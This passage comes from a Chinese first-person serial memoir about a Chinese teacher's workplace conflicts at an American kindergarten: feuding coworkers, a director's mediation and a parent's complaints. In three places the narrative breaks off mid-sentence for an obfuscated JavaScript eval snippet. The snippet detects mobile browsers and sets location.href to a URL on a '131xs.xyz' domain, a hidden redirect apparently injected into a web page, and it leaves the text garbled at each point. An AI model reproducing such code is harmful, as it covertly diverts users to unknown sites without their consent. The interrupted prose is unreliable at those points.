“不管怎样,我如果有问题都会找你们中的一个或两个来说的。” 我有些困惑地表示,也不知道自己的回答算不算不识抬举。 从沙文的办公室出来,此事终于算是告一段落,今日虽然奋力一搏大获全胜,内心却并无喜悦,只有回首人心险恶的寒意——无端被同事排挤和欺负,本想寻求上司的公正裁决,迎来的却是貌似公正的各打五十大板,我不明白为什么林奈可以毫无后果地随口污蔑,我却要一条一条自证清白,虽然最终沙文对我表示赞赏愿意做我的后盾,可如果不是自己有理有据有节、逻辑无懈可击地自辩成功,等待我的又将是什么样的结果呢? 45. 第十二章 凯奇午餐打包事件(下) 第二天林奈不在,玛丽安十分郑重地征求我的意见,问我想选择哪个午休时间段,又告诉我完全可以开口让轮值老师帮忙,吃完午餐还主动收拾了自己的餐桌——看来我私下对沙文说的话沙文全都告诉了玛丽安,相信我向沙文所说的有关桀丝的每一个字,林奈和桀丝应该也都知道了,原来这个幼儿园没有秘密可言,一点风吹草动都可能掀起轩然大波,以后我再说话可要加倍小心了。 上厕所时刚巧和桀丝狭路相逢,她满脸怨恨地侧身避过,我的心不免一沉。 回到教室向玛丽安提起桀丝的态度,她说:“桀丝还太年轻,需要时间把这件事咽下去。” 我想想也是,这世上没人会觉得自己是恶人,即便做恶在先,落败了总归会心有不甘。 玛丽安又向我爆料了一个惊人内幕——桀丝和雷嘉竟然是一对,我吃惊之余对之前雷嘉的态度恍然大悟,不免担心她们以后会合起伙来对付我。 “那林奈又是怎么卷进来的?”我问。 玛丽安透露道:“雷嘉以前结过婚,对方也是个女人,林奈在她婚礼时帮她和其他人看过孩子,所以关系比较近,林奈在这个幼儿园工作才一年多,去年还因为生孩子休了长假。” 我原以为林奈已经在这里很多年了,听玛丽安这么一说才知道她的资历也不深,难怪会因为我的到来如此不自信,我指指自己心脏的位置对玛丽安说:“她这里非常脆弱,所以认为我是一个威胁,其实我根本无意针对她。” 玛丽安道:“噢,你当然没有。” 树欲静而风不止,上午在院子里感觉周围的气氛变得有些奇怪,和雷嘉一个班的老师米厄往常总会笑着向我打招呼,今天见到我却面无表情,不知道是不是听到些什么开始对我有了偏见。 霍莉刚从幼师毕业不久,是全校极少数身材标准、五官秀丽的一个年轻女孩,我因此对她印象挺好,刚来幼儿园时她看我的眼神总是冷冰冰的,后来因为我俩住得不远我便经常让她搭我的顺风车,自那之后她一直对我很客气,今天却坐在院子里从头到尾都不正眼看我,然后突然走到雷嘉和桀丝跟前聊了起来,难道她也是她们一伙的? 我的心情沉重起来,开始疑心是不是学校里的每一个人都知道了我和桀丝之间的冲突,她们会不会把我当成一个爱打小报告的人?桀丝的小集团会不会在我背后散播谣言,编排我的不是? 安慰自己:一切可能只是我的疑神疑鬼、捕风捉影,别人或许只是碰巧心情不好或没看见我,待情势更加明朗之前不应该妄下论断。 据说今天其他轮值老师都没空,玛丽安下班后我不得不和桀丝一起工作,我不舒服,相信她也别扭,自始至终对我非常冷淡,我也只在需要她帮忙的时候客气地提出来。 邦狄事先告诉我:“我已经和桀丝谈过,对她说你才是老师,知道自己在做什么,她对你的做法如果有异议可以提建议,但是如果你有自己的决定她就不应该再干涉。” 我对邦狄的支持还是很感激的。 下午一个人面对十一个孩子,除了稍稍有些忙乱基本上倒也井井有条,孩子们自己起床、收拾睡垫、上厕所、洗手,我准备零食,在他们吃零食的时候帮他们涂防晒霜,等他们吃完给他们播放一盘故事书磁带,让桀丝帮忙收拾桌椅并给剩下的两个孩子涂上防晒霜,最后指挥孩子们戴上帽子,排队出门。 桀丝大部分时间拉着脸站在一旁,偶尔和一两个孩子闲聊几句,孩子吃零食时她跟我打了声招呼,出去拿了袋饼干回来坐在桌边和孩子们一起吃,我倒也无所谓,只要她能听我的指令适度帮忙就够了。 至此一切还算顺利,可是带孩子进院子时我却犯了一个致命的错误——忘了关院门(幼儿园规定从教室进入院子一定要随手关上院门,否则孩子可能会跑出去),结果被米厄抓了个正着。 幼儿园老师每天的工作就是盯人管人,多年浸淫下来个个都是人精,我这个菜鸟在她们面前简直不堪一击,又逢刚和其他老师发生过冲突的敏感时期,不知道有多少双眼睛盯着我,可不能再让人抓住把柄,我于是连忙道歉。 米厄面无表情地说“没关系,下次注意就行了”,一转脸却去向汉娜报告,汉娜算是幼儿园的第三号人物,下午沙文和邦狄下班后一切由她负责。 我连忙又走到汉娜面前道歉:“今天孩子很多,我很紧张所以忘了关院门,但这不是理由,下次一定记住。” 汉娜笑笑说:“没关系,你不会有麻烦的。” 话虽如此,在这个是非之地谁知道又会发生什么呢? 在院子里看着孩子,和霍莉的目光相遇了一次,她看我的眼神又恢复了我刚来幼儿园时冰冷的样子。我不知道其他人在我背后都听到些什么,从昨天林奈可以当着我的面赤裸裸地无中生有、是非颠倒来看,她们编造我的任何坏话都有可能,而我作为一个新人根本没有话语权,内心不禁越发忐忑郁闷。 一周来饱尝了各种偏见孤立、明枪暗箭、找茬栽赃,我步履维艰,虽然行得正坐得端,有理有据,却敌不过台面下暗戳戳的各种小动作,虽然我只是回击了来自他人的挑衅和无中生有,可最终得到了什么呢?一堆人的猜忌和误解?心里感到很委屈,终于被戳中了许多中国人都有的那根敏感神经——她们是不是在歧视中国人? 我想到曾经看见汉娜抱着她班上一个平头整脸的中国小女孩喜欢得不肯撒手,说自己也想要一个那样的,在白种人眼里,小鼻子小眼的中国孩子像娃娃一样特别可爱,和中国人看白人孩子像洋娃娃是一样的道理——于是我坚决否定了因为自己是中国人而被歧视的猜疑,尽管这猜疑可以让我轻易地找到一个怪罪的理由,但迁怒和转移焦点永远不是解决问题之道。 我又想,或许是因为我和她们在人生观、价值观、文化背景、教育背景、生活环境、看待问题和处理问题的方式等许多方面都不同吧?这世上有许多人固步自封,无法接受和自己不同的人事物,认为那是一个威胁,是对自我的否定,未知令他们感到恐惧,就像井底之蛙无法接受外面天地的广阔。 这时小班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437809|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个非常可爱长得像瓷娃娃的美韩混血小姑娘突然跑过来爬到我腿上坐进我怀里抱着我,通常每天她在离开之前都会和每个老师拥抱告别,所以我一边回抱她一边问:“你要走了吗?妈妈来了?” 她没说话,仍是抱着我,我回头看看,没有发现她的妈妈,才知道原来这只是一个单纯的拥抱。 小女孩的身子又轻又软,突然没来由地跑过来主动抱着你,这种感觉几乎要把人给融化了,她爬下去变换了一个姿势,舒舒服服地趴在我腿上依偎着我,我于是伸出一只手轻轻搂着她,那一刻突然觉得这仿佛是上天送到我身边的一个拥抱和安慰,眼圈一下子就热了——仇恨和争斗让人的心变得又冷又硬,爱却可以令人瞬间融化,我走上这条艰难险阻的道路就是为了追寻这样的至真至纯至善,然而珍宝的周围总是有怪兽把守。 可惜这个爱的瞬间只持续了短短几秒钟,阿登就跑来要我处理他和两个小朋友之间的纠纷了。 休息了一个周末,星期一有点感冒加上没睡好,人很疲倦,但是从早上踏进教室的那一刻起我就打足精神对林奈各种示好,笑着向她打招呼,问她周末过得怎么样,大小事情均向她请示询问,不时找她聊天,在她发号施令时心甘情愿地打下手,直到把她哄得开开心心,对我完全放下戒心;中午陪玛丽安聊天,虽然睏得眼睛都快睁不开了,还是强打精神表现出很感兴趣的样子,不时表示赞同并发表评论;向每一个从我们教室经过的老师笑着打招呼,包括雷嘉和米厄。 上午沙文又把林奈、玛丽安和我分别叫进办公室谈话,特别对我表明她希望听到真话,我照实说:“我和林奈整个上午都试图对对方友好,也都感觉挺好,我现在尽量多问她问题,不过我有一点小小的担心,就是在院子里的时候觉得好像有些老师对我的态度有所转变,我不希望大家只听到故事的一面。” “有时候大家可能在传话时每个人都改一点,最后就变了很多,你可以给我几个对你态度转变的人的名字吗?”沙文问。 我却不想因为可能的错觉冤枉了别人,也不喜欢在别人背后告状,于是回答:“这也可能只是我的感觉而已,我还需要更多时间确认一下。” 沙文点点头表示同意。 下午在院子里,霍莉班上的拉拉牵着我的手下了一个台阶,然后独自跑进玩具屋里玩,我跟在后面稍带照看着。 几分钟后霍莉有些担心地在沙池边数她班上的孩子,我指着玩具屋冲她喊道:“霍莉,拉拉在这里。” 霍莉冲我笑笑,竖起一个大拇指。 一天下来身心疲惫,至此我能做的一切都做了,虽然挑起事端的不是我,虽然沙文和邦狄说会做我的后盾,可到最后还是要我一个人来收拾这个残局,逼着自己把一切生生吞下去,因为毕竟我还要在这里继续工作,每天和这些人朝夕相处,我不能与每一个人为敌,也不能总依赖沙文和邦狄,只能靠自己努力缓和与所有人的关系,才能在这个环境中生存下去,得到我想要的东西——工作经验和一张麻省幼儿教师资格证。 46. 第十三章 教室里的两尊“佛” 上次的风波已渐渐被大家淡忘,这段时间我一直努力对每个人微笑,向每个人示好,终于慢慢赢回了大家的信任,不过引发的副作用却是我们班的两位老师原形毕露,林奈本就惫懒,玛丽安做了两天样子也不做了,教室里所有的脏活累活全都落到我身上,这星期我感冒身体不适,可所有的桌子还是我擦,所有的椅子还是我搬,那两位跟两尊佛似的,在教室里我自岿然不动,完全袖手旁观。 原以为玛丽安老成持重人还不错,时间长了才发现她一把年纪却毫无长者的宽厚,总是自以为聪明处处争强好胜,并且认定的事很难改变看法,有一次带孩子做手工时她看见我解开缠绕在一起的绳子的速度比她快,内心的不悦立刻华丽丽地摆在脸上;另一次她提到一条新闻,我打开中文网页查看,她又阴阳怪气地说我是在显摆自己读中文的速度比读英文快;还有一次她看见我吃三明治多夹了一片面包,就给我定性说我能吃,从此只要我一吃东西她就要说一遍我能吃,令人不胜其烦。 明天是“玩水日”,要帮所有孩子换泳衣,会有许多额外的工作量,林奈半开玩笑地对我说:“你明天可千万别请病假。” 她这话倒是提醒了我,我感冒未愈,两个老师却把教室里的脏活累活全都压在我身上,原本已是勉力支撑,明天如果再增加工作量只怕我的身体会被彻底压垮,于是第二天毅然请了病假。隔天回去上班,其他班的老师遇见我还礼貌性地问候一下,我们班这两位却拉着脸问都不问,好像怪我故意躲懒似的。 中午孩子午睡时我感到身体很疲倦,便学着林奈以往很多次的样子,拿了一个睡垫在教室里躺下睡了一会儿,耳朵里却听见林奈阴阳怪气地问玛丽安:“她是真的在睡觉吗?” 下午玛丽安立刻和颜悦色地找我谈话:“今天中午林奈看见你在睡觉,我知道你身体不舒服,中午不管是不是你的休息时间,如果你去没人的备用教室午睡对我来说没有问题,有时候在教室里铺上睡垫躺下放松一下同时看着孩子也可以,只是如果在教室里睡觉被沙文看见她会很不高兴,被家长看到也不好,我知道有些老师在活动室里午睡,这对你来说有些双重标准,但是活动室里很黑家长看不见,可有时候沙文会去视察,看见了还是不高兴。” 玛丽安的话在情在理也很客气,我没有理由感到不快,于是回答:“我很高兴知道这些,以后会注意。” 同时我也想向玛丽安解释一下,因为以前多次看见林奈在教室里睡觉,又看见活动室许多老师包括邦狄都在午睡,所以以为午睡是可以的,刚要开口林奈却午休回来了,我便没好再说下去。 玛丽安见林奈回来,立即当着我的面对林奈说:“我刚才已经告诉她了。” 我不免心中有些不悦——若不是林奈屡次在孩子午睡时大摇大摆地铺上睡垫躺下,有一次甚至打起鼾来从而误导了我,我就是累死也不会占这点小便宜让她抓住把柄的,她这个“惯犯”竟然在我第一次这么做之后就立刻理直气壮地来声讨我,还真是只许州官放火,不许百姓点灯! 收拾桌椅时她二人又成了两尊佛,我故意留下林奈周围的几把椅子没摞,她居然硬是撑到下班也没伸一个手指头,最后还是留给我收拾。 自从来到这里我算是学到了一点,即老师之间比的就是谁脸皮够厚能抢得到、熬得住,谁熬不住谁就输了,因为一个教室里统共就那么多活,这个老师多干些那个老师就少干些,谁都想做既轻松又能彰显权力地位的事而不愿意做脏活累活,在我们教室里那些准备教案教具、给家长写邮件之类的事早已被玛丽安和林奈瓜分和把持了,剩下的脏活累活最后都是熬不住的那个人的,不过等我学到这一点为时已晚。 心里实在有些气不过,一直对林奈采取忍让和息事宁人的态度,没想到她却越来越过分,一时间我甚至有点想以牙还牙学林奈的样子报复她,把她在玛丽安背后说的坏话全都学给玛丽安听,让她俩斗去,可是转念一想,那样我岂不是变成了和林奈一样的人? 再想想收拾桌椅其实每天也就是三张桌子擦三次,二十多把椅子摞起来,也累不死人,留学的时候在餐馆打工,老板即便吩咐收拾几十张桌子还不是得高高兴兴地去做,现在争的也就是一时之气,不如不争,真不至于为了这么点小事和不值得的人把自己气得要死。 想通此节,内心失衡的天平终于再次找回平衡,从此我不仅心平气和地收拾教室里的桌椅,而且还开开心心地去做,擦桌子的时候看见洛蒂娇憨逗趣的样子甚至忍不住哈哈大笑,干活的时候我就把自己想象成灰姑娘,把那二位想象成灰姑娘两个懒惰又刻薄的姐姐,心里的气立刻就顺了——哈哈,毕竟最后被王子看中的是灰姑娘,谁又记得那两个坏姐姐呢不是吗?我就凭借这种自我洗脑的精神在幼儿园继续生存了下去。 某天午休后回到教室,玛丽安已经提前下班了,林奈正在喂乌龟,一群孩子像迎接明星一样亲热地向我围拢过来,洛蒂娇滴滴地对我说有一本书破了,让我帮她粘上;达文告诉我他午睡时压到了一只耳朵,只要一歪头就有点痛;凯奇指给我看他膝盖上新添的瘀青……一时间我被孩子们包围着说东道西,似乎格外受欢迎,那一刻我觉得自己所做的一切都值了。 有句话叫做“忍一时风平浪静,退一步海阔天空”,前人的智慧诚不我欺,自从我不再是任何人的威胁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437810|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林奈和玛丽安就开始互相掐了,她俩处处看不顺眼,又彼此看不顺眼,如今都认为我没什么威胁性而对我放下戒心,各自把我当成倾吐对象,当然说出来的往往是不同版本的罗生门。 星期一一到幼儿园就察觉到气氛不对,玛丽安和林奈之间仿佛有些剑拔弩张,一整天玛丽安的心情似乎都不太好,埋头起草下学期给家长的欢迎信,话居然很少,临走时她告知了我一下有关欢迎信的事,又让我和林奈看看有什么需要补充的。 林奈在一旁怒气冲冲地说:“为什么我们不能坐下来一起商量怎么写这封信?沙文是让我们三个一起写!” 玛丽安对她的话未予置评。 玛丽安走后林奈又愤愤不平地单独对我说:“沙文让我们三个一起写欢迎信,可是玛丽安却自己一个人在写。” 我知道她想拉我和她站在一条战线上,但也明白她只是在需要利用我的时候把我拉在一起,今天斗完了玛丽安,明天她照样会拉着别人来斗我,况且有关欢迎信的事沙文连开会都没让我参加,我也不想掺合,所以只是做出一个无奈的表情,叹了口气,喉咙里发出了一个含混的“呃”。 星期三中午玛丽安和林奈突然被沙文叫去开会,下午林奈趁玛丽安走后告诉我:“有家长提意见,沙文想让我们班每周安排一个特别活动,我是很乐意的,可是玛丽安不愿意。” 我回想起前段时间玛丽安坚决驳回了暑假期间带孩子去附近餐厅吃午餐的活动,还对我说了一堆诸如我们班人数太多、林奈和吉莉曾带孩子去过一次但情况很可怕之类的理由;前两天她又向我说起有家长提议让孩子去附近泳池游泳,可是路太远、天太热、游泳时间太短、小孩子的毛巾太重等一大堆理由,似乎对这一提议也是嗤之以鼻。 我明白玛丽安是懒得多事害怕担责任,上次全校组织去马戏团她就怕得要命,再上次又拒绝了中班一起带孩子参观消防站的邀请,其实我心里还是希望孩子的活动能够丰富一些,但是没人会听取我的意见,所以当时我没有表明任何态度,只是点头听玛丽安说话。 林奈继续道:“只有冬天玛丽安去休假的几周我才能安排一些活动,上次就是趁玛丽安不在和吉莉一起带孩子去外面餐厅吃午餐的——你愿意让孩子出去吃午餐吗?” 我连忙说:“当然愿意。” 林奈拿出一张纸,上面罗列了一些她想出来的特别活动日,比如“海滩日”、“疯狂发型日”、“睡衣日”、“颠倒日”等,看来她还是有不少主意的。她让我也帮着想一些,我就建议了“图书馆日”和“电影日”,她记下来,又说:“不过不确定后面小房间有台电视机能不能看电影。” 47. 第十四章 玛丽安、林奈和贝儿妈妈之间的恩怨 贝儿的妈妈杰奎琳是一位面容姣好、红发垂肩、无论穿着打扮还是行事谈吐都十分得体的中年女士,我对她的印象很好,林奈却一直和她不对付,玛丽安也在我面前讲过她不少坏话。 恩怨起始于去年学校组织去马戏团,杰奎琳主动提出给全班的孩子准备一些水果带上,玛丽安怕麻烦回绝了,不过却给了一个冠冕堂皇的理由——班上有孩子对苹果皮过敏,杰奎琳于是提议自己可以把苹果皮削掉,玛丽安又说要带水果就得给全校所有班级的孩子都准备,否则对其他孩子不公平,这已经无异于赤裸裸的刁难了,从此双方结下了梁子,明争暗斗不断。 玛丽安曾经向我抱怨:“杰奎琳在家里工作与社会脱节,却总喜欢控制一切,总要求班里按照她的想法去做,我是不可能让杰奎琳来插手我的工作方式的。” 我不知道玛丽安是怎么因为别人在家工作就得出她和社会脱节这个结论的,其实我非常能够理解杰奎琳,甚至觉得她是一位很棒的母亲,她十分疼爱贝儿,对贝儿有许多美好的愿望,希望在女儿年幼时给她尽可能多的陪伴,对学校的要求虽然稍微多了些,却合情合理并不过分,主动提出为全班孩子准备水果在我看来更是一种高尚的充满大爱的公益之举;倒是班上的两位老师,因为害怕麻烦对家长任何额外的要求都百般推托,表面上还冠冕堂皇振振有词,甚至连园长出面也死不悔改,估计哪个家长遇到这种事都不会高兴吧。 前几天杰奎琳在院子里问起林奈为什么不让孩子玩滑梯,林奈给出了下午金属滑梯太烫、当时老师人数不够、没有孩子要求玩滑梯这些理由,杰奎琳也接受了,可林奈却耿耿于怀,背地里抱怨“杰奎琳又来指手划脚”,所以第二天杰奎琳来接贝儿时,林奈居然特意跑上去用充满讽刺的语气对杰奎琳说:“今天我们的滑梯开放了一个小时,贝儿只玩了两分钟。” 我当时远远看见杰奎琳的脸色都变了,心想林奈这又是何必,不是明摆着在挑衅吗?就算杰奎琳原本心平气和,估计听了这话之后也会新仇旧怨一起兜上心头吧?果不其然,第二天杰奎琳就给学校发了一封邮件质疑了一些事情,搞得玛丽安和林奈如临大敌。 后来杰奎琳再来接孩子,我看林奈坐着不动便上前和杰奎琳打招呼,微笑着告诉她:“贝儿今天在学校当小老师表现得很好,下午滑梯开放了。” 杰奎琳低头问贝儿:“你玩了吗?喜不喜欢?” 贝儿点点头,杰奎琳这才向我解释:“贝儿很喜欢玩滑梯。” 我笑着点头表示理解,杰奎琳看上去也挺高兴。 其实很多时候家长需要的只是老师的理解、支持和一点点额外的照应,对于老师来说也只是举手之劳,送人玫瑰手有余香,何乐而不为呢?像林奈和玛丽安这样为了争一时之气肆意欺负幼儿园的客户,最后反作用力必然回弹到自己身上,实在不是明智之举,反观她们对客户尚且如此,之前对我的种种欺压只能说不过是她们的生活日常罢了。 有一次杰奎琳问我夏天什么时候会给孩子发饮水杯,我说我不清楚,让她去问林奈或玛丽安,后来她又问起,我还是如此回答,她就问:“你可不可以帮我去问一下?”我说:“好。” 我去问玛丽安时只推说有孩子口渴问起,因为如果告诉她是杰奎琳问的一定又是一场血雨腥风。 玛丽安对我说:“我们想等几个提前离校的孩子走了以后再发给其他孩子,如果有孩子或其他班老师问起,你就说我们正在给杯子贴标签,下个星期就得。” 我按照玛丽安的说法转告了杰奎琳,她没再多说什么,由此可见她并不想挑事,甚至有些害怕和另两个老师打交道,可是在两个老师扭曲的眼睛里杰奎琳的任何问题都变成了横加干涉。 班上如果遇到孩子过生日,家长会准备好蛋糕之类的零食交给老师,由老师在教室里帮孩子过生日,贝儿生日的时候杰奎琳想亲自来教室陪女儿一起过,玛丽安和林奈又是毫无同情心地百般阻挠,可是根据我所接受的幼儿教育培训和过往的经历,欢迎家长参与几乎是美国幼儿园应该遵循的职业道德。 杰奎琳经过多方斗争终于争取到了陪女儿过生日的权力,中午她带来四大盒披萨、两盒纸杯蛋糕和一个切好的西瓜,还特意背了一个单反相机准备给贝儿拍照,真是可怜天下父母心。 杰奎琳虽然获得了进入教室的权力,却仍然不受班上两位老师欢迎,这场斗争赢得可谓惨烈,看着她孤独地站在教室里冲女儿强颜欢笑,贝儿看上去也不太开心,我心里对杰奎琳充满了同情,于是走过去微笑着说:“让我帮你和贝儿拍几张合影吧。” 某天林奈又气势汹汹地告诉杰奎琳:“贝儿午睡后很难叫起来,上午还伸手去推其他两个男孩!” 我明显看出杰奎琳原本还算平和的脸几乎已经挂不住了——哎,家长好端端来接孩子,林奈却好像逮住了机会似的偏要去恶心人家一下,怨怨相报何时了啊! 果然,第二天杰奎琳又去园长办公室告了一状,质疑下午三点半本该去院子里活动,我们班的孩子却还留在教室里,暑假的活动也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437811|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多。 我进教室时看见林奈和玛丽安的脸色都很难看,玛丽安拿出一张日程表给我看,上面是之前林奈拟定的几个活动日的时间,我提议的两个都被去掉了,又加上一个“最喜爱的毛绒玩具日”。 玛丽安告诉我:“这只是应几个家长的要求不得已而为之做做样子。” 中午玛丽安趁林奈不在和我说了一大堆,我则做出一副理解又同情的样子频频点头,不过玛丽安的说法却和林奈大相径庭,主要的意思是有少数几个家长又来挑衅,杰奎琳现在不仅告我们的状,还到中班家长那里说我们坏话,现在我们给家长发的每日汇报邮件也要先经沙文或邦狄看过。 我做出惊讶的表情:“这简直太令人悲哀了。” 玛丽安反过来安慰我:“不过你也不用太担心,沙文还是理解我们的,大部分家长对我们的评价也都是正面的(她列举了阿登和其他几个孩子的家长),现在我就盼着暑假过完,把这些家长送走万事大吉。” 我不禁有些纳闷,她这么扭曲地看待事实还自我感觉挺良好,是眼睛里长了棱镜吗?据我所知仅仅阿登的外婆就曾经很不满地对我说“几个老师也就你还负点责任”,不知道玛丽安是不是真心认为她的做法毫无问题。 林奈午休回来看见玛丽安正在对我说话,以为又在背后说她坏话,一副很生气的样子,玛丽安连忙向她解释,我也赶紧说“玛丽安是在和我说家长的事”——不过玛丽安确实没有讲过林奈一句坏话。 林奈等玛丽安下班后又告诉我一些昨天开会的情况:“沙文居然冲我们吼,说我们当中有一个人总是不愿做出改变(这在我听来像是在说玛丽安),又说就算家长对我们出言不逊,我们也只能笑脸相迎而不能冲他们发脾气(这听起来又像是在说林奈)。” 然后林奈突然说:“我不想在这里工作了。” 我听到这话心里居然不厚道地有些窃喜,却做出一副吃惊的表情:“你是认真的吗?” “我是不会为冲我吼的上司工作的,再看吧。” 她愤愤道,然后查了查电子邮件,很生气地说,“我给沙文发了封邮件,她居然不回!” 我安慰她:“沙文今天去看医生了,她可能没机会看邮件吧。” 林奈终于笑了,大声说:“噢,彦岚,你不错,你的心态总是那么积极!”紧接着又开始抱怨,“玛丽安总是把自己不想听的音乐光碟藏起来,我一定要找出来。” 我不禁暗暗感慨:我的心态要是不积极的话,怎么能在这个教室活下来啊! 48. 第十五章 让孩子倒鞋里的沙和擦脸是不可能的 汉娜这个人逢人总是一副笑脸,又常说些赞美人的话,让我起初以为她是个很好的人,然而几次关键时刻却令我大失所望,一次是她班上的赖恩抢我们班孩子的玩具,我去告诉她她却推说自己没看见,一副事不关己的样子;另一天下午中班装急救用品的背包被丢在院子里,有老师去向汉娜报告这事,却被汉娜回呛“那不是我的责任”,弄得那位老师很不开心,把这件事跟全校所有老师讲了一遍——看来汉娜喜欢推托责任的习惯由来已久,很多老师应该都领教了。 每天下午孩子们在院子里活动后脸上都会抹很多灰,鞋子里也都是沙,我和林奈总会让他们先在教室里把鞋里的沙倒进垃圾桶,再用湿巾擦干净脸,然后才领他们去走廊另一头与其他班级的老师和孩子会合。 星期一下午林奈和曼妮都不在,五点钟以后大班和两个中班只剩下桀丝、玛莎和我,汉娜让我们三个一起带着所有孩子直接从院子去中班教室,我对汉娜说:“如果我单独带我们班的孩子过去会容易很多。” 没想到汉娜却把脸一板,一副不容分说的样子,坚持要我按照她说的去做。 这种情况以前也发生过一次,当时她也是这副样子,既不听解释也不给理由,于是当星期二沙文向我询问近况、问我有没有什么问题时,我提出了自己的疑问:“下午从院子进教室时我们班的孩子需要倒鞋子里的沙、擦脸和洗手,可是当只有桀丝、玛莎和我的时候,汉娜总是让我们直接去中班教室,令我们班的孩子没机会倒沙和擦脸,但是当曼妮和林奈在的时候就不需要这样,我想知道是为什么。” 沙文倒是很干脆,直接问我:“你是不是需要五到十分钟让孩子先清理一下?” “其实只要五分钟就可以了。”我回答。 “我会和汉娜说一下,或者你自己说也行。” “我试图和汉娜说过,可她坚持希望我们三个老师在一起。” 沙文说:“我会去和汉娜讲。” 下午我和林奈一起像平常一样先在教室里让孩子清理妥当,然后领着孩子们去中一班教室,桀丝和玛莎已经带着两个中班的孩子在中二班教室里了,中一班和中二班的教室一墙之隔,中间有一扇门联通,方便两边的老师彼此照应。 几分钟后林奈下班了,汉娜笑着过来向我道歉,看来沙文已经同她讲过了,她解释道:“我那样做绝对没有不尊重你的意思,只是因为玛莎和桀丝都是轮值老师,她俩不能单独带孩子,需要有一个正式的老师和她们在一起。” 我连忙说:“我从没认为你不尊重我,只是因为我们班的孩子在转移到这边教室之前需要几分钟时间倒鞋里的沙和擦脸。” “如果是那样的话,可以让玛莎在大班教室帮你看一下,你过来和桀丝待在一起。” “那之后呢?”我问。 “还是照旧。” 我点头道:“好。” 汉娜离开了教室,我却越想越不对劲:如果让玛莎帮我看着,那玛莎作为轮值老师岂不仍是独自一人吗?为什么她可以单独和孩子留在大班教室几分钟我却不行?这岂不是在防着我吗? 原本平静的心突然间就不淡定了,有种被耍弄的感觉,为了印证自己的想法,我探头到隔壁中二班教室问玛莎:“今天下午从外面进来是不是只有你和桀丝,没有别的老师陪着你们?” 玛莎点头说“是的”,桀丝则一脸狐疑地看着我。 玛莎走过来问我:“怎么了?” “没什么,只是汉娜说你们俩不能单独在一起带孩子,让我感到有些困惑,我会再去问问汉娜。” 玛莎听我这么一说也紧张起来:“我和你一起去问她。” 我和玛莎来到走廊对面汉娜的小班教室,玛莎紧张地问汉娜:“我和桀丝是不是不能单独带孩子?” 汉娜连忙堆着笑对玛莎说:“噢,你没问题,不用担心。”又有些紧张不悦地小声向我咕哝道,“刚才只是我和你单独说的话,你不该告诉她们。” 我问汉娜:“为什么今天她们可以单独带孩子,昨天就不可以呢?” 她回答:“因为今天大班有林奈在。” 我不悦地说:“那就是说还是我不能单独带孩子了。” 这时一个家长来接孩子,汉娜说:“我现在不能和你们说话。” 我和玛莎退出来,我对玛莎说:“汉娜的说法在我听来完全不合逻辑。” 玛莎也有些不太高兴的样子。 又过了一会儿玛莎也下班了,所有人都集中到中二班教室里,汉娜也来了,却并不向我解释,而是去和桀丝小声嘀咕起来,桀丝有些敌意地向我这边瞟了一眼。 我虽然觉得汉娜不至于当着我的面另说一套,但还是要以防万一,也为了向桀丝表明自己的坦荡,于是停下手中正给一个孩子读的故事书,故意大声对她们俩说:“今天玛莎和桀丝就是单独在一起的。” 桀丝连忙对我说:“噢,只要玛莎帮我,我是完全没有问题的。” 我顺势道:“对啊,我就是这个意思,我认为你和玛莎在一起是没有问题的。” 汉娜连忙笑道:“噢,看来是我误解你们了。” 我问:“那么以后我可以单独在大班教室先让孩子清理干净了?” 没想到汉娜仍然坚持:“不行,你们三个得在一起。” “可是刚刚你说玛莎可以单独在大班教室带孩子。” “刚刚我说错了。” “可是今天桀丝和玛莎是单独在一起的啊?” “因为今天有林奈在。” “可是林奈在大班教室,并没有和她们在一起啊。” “如果有什么事的话,我可以叫你们中的一个过来帮忙。” “但是曼妮在的时候,我也曾经一个人留在大班过啊?” “因为曼妮是正式的老师。” “这在我听来不符合逻辑。” 车轱辘话绕了一圈,汉娜的意见仍然纹丝不动,却无法令我心服,我不明白为什么玛莎和桀丝可以单独在一起,我却必须和林奈在一起。 桀丝插进来:“我只要有玛莎帮忙是没有问题的。” 我连忙打消她的顾虑:“你很好,你没有任何问题。” 汉娜勉强挤着笑说:“听你的意思好像是我有问题似的,呵呵。” 我没说话。 下班时只剩下我和汉娜,她笑着说:“我没有生气,你不要认为我生气了。”又向我道歉。 我说:“我不需要道歉,我需要的是解决问题。” 可是又说了几句还是之前一样的车轱辘话,她坚持:“即使是几分钟也可能出现任何情况。” 昨天沙文已经同意在去中班教室前给我几分钟让我们班的孩子先清理一下,我不明白为什么到了汉娜这里就变得这么难,又不想和她撕破脸,于是勉强笑着说:“这个问题我不想再谈了,我们还是明天和沙文一起谈吧。” 